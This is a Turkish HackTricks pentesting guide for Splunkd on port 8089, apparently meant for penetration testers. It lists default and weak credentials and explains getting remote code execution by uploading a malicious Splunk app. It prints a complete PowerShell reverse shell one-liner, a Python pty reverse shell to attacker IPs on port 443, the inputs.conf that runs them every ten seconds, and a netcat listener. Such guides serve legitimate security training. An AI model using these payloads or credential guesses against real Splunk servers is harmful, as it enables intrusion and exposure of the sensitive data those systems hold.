8.9 KiB
8089 - Splunkd Pentesting
AWS hackleme hakkında sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Temel Bilgiler
Splunk, günlük analiz aracı olarak kullanılan ve verileri toplama, analiz etme ve görselleştirme konusunda önemli bir rol oynayan bir araçtır. İlk amacı bir SIEM (Güvenlik Bilgi ve Olay Yönetimi) aracı olarak hizmet vermek olmasa da, güvenlik izleme ve iş analitiği alanında popülerlik kazanmıştır.
Splunk dağıtımları sıklıkla hassas verileri depolamak için kullanılır ve sistemleri ele geçirmeyi başarırlarsa potansiyel saldırganlar için değerli bir bilgi kaynağı olabilir. Varsayılan port: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Splunk web sunucusu varsayılan olarak 8000 numaralı portta çalışır. {% endhint %}
Sıralama
Ücretsiz Sürüm
Splunk Enterprise denemesi, 60 gün sonra ücretsiz bir sürüme dönüşür ve kimlik doğrulama gerektirmez. Sistem yöneticilerinin Splunk'ı denemek için bir deneme sürümü yüklemesi ve daha sonra bunu unutması alışılmadık bir durum değildir. Bu, ortamda bir güvenlik açığı oluşturacak olan kimlik doğrulaması olmayan ücretsiz sürüme otomatik olarak dönüşecektir. Bazı kuruluşlar, kullanıcı/rol yönetiminin olmamasının ne anlama geldiğini tam olarak anlamadıkları için bütçe kısıtlamaları nedeniyle ücretsiz sürümü tercih edebilirler.
Varsayılan Kimlik Bilgileri
Eski sürümlerde Splunk'ın varsayılan kimlik bilgileri admin:changeme
'dir ve bunlar giriş sayfasında uygun bir şekilde görüntülenir.
Ancak, Splunk'ın en son sürümü, kurulum süreci sırasında kimlik bilgilerini ayarlar. Varsayılan kimlik bilgileri çalışmazsa, admin
, Welcome
, Welcome1
, Password123
gibi yaygın zayıf parolaları kontrol etmek faydalı olabilir.
Bilgi Edinme
Splunk'a giriş yaptıktan sonra, verileri gezebilir, raporlar çalıştırabilir, gösterge panoları oluşturabilir, Splunkbase kütüphanesinden uygulamalar yükleyebilir ve özel uygulamaları yükleyebilirsiniz.
Ayrıca kod çalıştırabilirsiniz: Splunk'ın sunucu tarafında Django uygulamaları, REST uç noktaları, betikli girişler ve uyarı betikleri gibi kod çalıştırma yöntemleri bulunmaktadır. Splunk sunucusunda uzaktan kod yürütme elde etmenin yaygın bir yöntemi, betikli bir girişin kullanılmasıdır.
Ayrıca, Splunk Windows veya Linux ana bilgisayarlarına kurulabileceğinden, betikli girişler Bash, PowerShell veya Batch betiklerini çalıştırmak için oluşturulabilir.
Shodan
Splunk derlemesi
Uzaktan Kod Yürütme (RCE)
Özel Uygulama Oluşturma
Özel bir uygulama Python, Batch, Bash veya PowerShell betiklerini çalıştırabilir.
Unutmayın ki Splunk, Python'ı yüklü olarak gelir, bu yüzden Windows sistemlerinde bile python kodunu çalıştırabilirsiniz.
Bize yardımcı olması için bu Splunk paketini kullanabilirsiniz. Bu depodaki bin
dizininde Python ve PowerShell için örnekler bulunmaktadır. Adım adım ilerleyelim.
Bunu başarmak için öncelikle aşağıdaki dizin yapısını kullanarak özel bir Splunk uygulaması oluşturmamız gerekmektedir:
tree splunk_shell/
splunk_shell/
├── bin
└── default
bin
dizini, çalıştırmayı planladığımız komut dosyalarını içerecektir (bu durumda bir PowerShell ters kabuk). Varsayılan dizinde ise inputs.conf
dosyamız bulunacak. Ters kabuğumuz bir PowerShell tek satırlık olacak:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
inputs.conf dosyası, Splunk'a hangi betiğin çalıştırılacağını ve diğer koşulları söyler. Burada uygulamayı etkinleştiriyoruz ve Splunk'a betiği her 10 saniyede bir çalıştırmasını söylüyoruz. Aralık her zaman saniye cinsinden belirtilir ve bu ayar mevcut olduğunda giriş (betik) çalıştırılır.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Uygulama dağıtıldığında çalışacak ve PowerShell tek satırlık komutu yürütecek olan .bat
dosyasına ihtiyacımız var.
Bir sonraki adım, Dosyadan uygulama yükle
seçeneğini seçmek ve uygulamayı yüklemektir.
Zararlı özel uygulamayı yüklemeye başlamadan önce, Netcat veya socat kullanarak bir dinleyici başlatalım.
sudo nc -lnvp 443
listening on [any] 443 ...
Upload app
sayfasında, Göz at
seçeneğine tıklayın, daha önce oluşturduğumuz tarball'ı seçin ve Yükle
'ye tıklayın. Uygulamayı yüklediğimiz anda, uygulamanın durumu otomatik olarak Etkin
olarak değişeceği için bir ters kabuk alınır.
Linux
Eğer bir Linux ana bilgisayarıyla uğraşıyorsak, özel kötü amaçlı uygulamayı oluşturmadan önce rev.py
Python betiğini düzenlememiz gerekecektir. Geri kalan süreç aynı olacak ve Netcat dinleyicimize ters kabuk bağlantısı alacağız.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE ve Yetki Yükseltme
Aşağıdaki sayfada, bu hizmetin nasıl kötüye kullanılarak yetki yükseltme ve kalıcılık elde edilebileceği açıklanmaktadır:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Referanslar
AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'yi keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.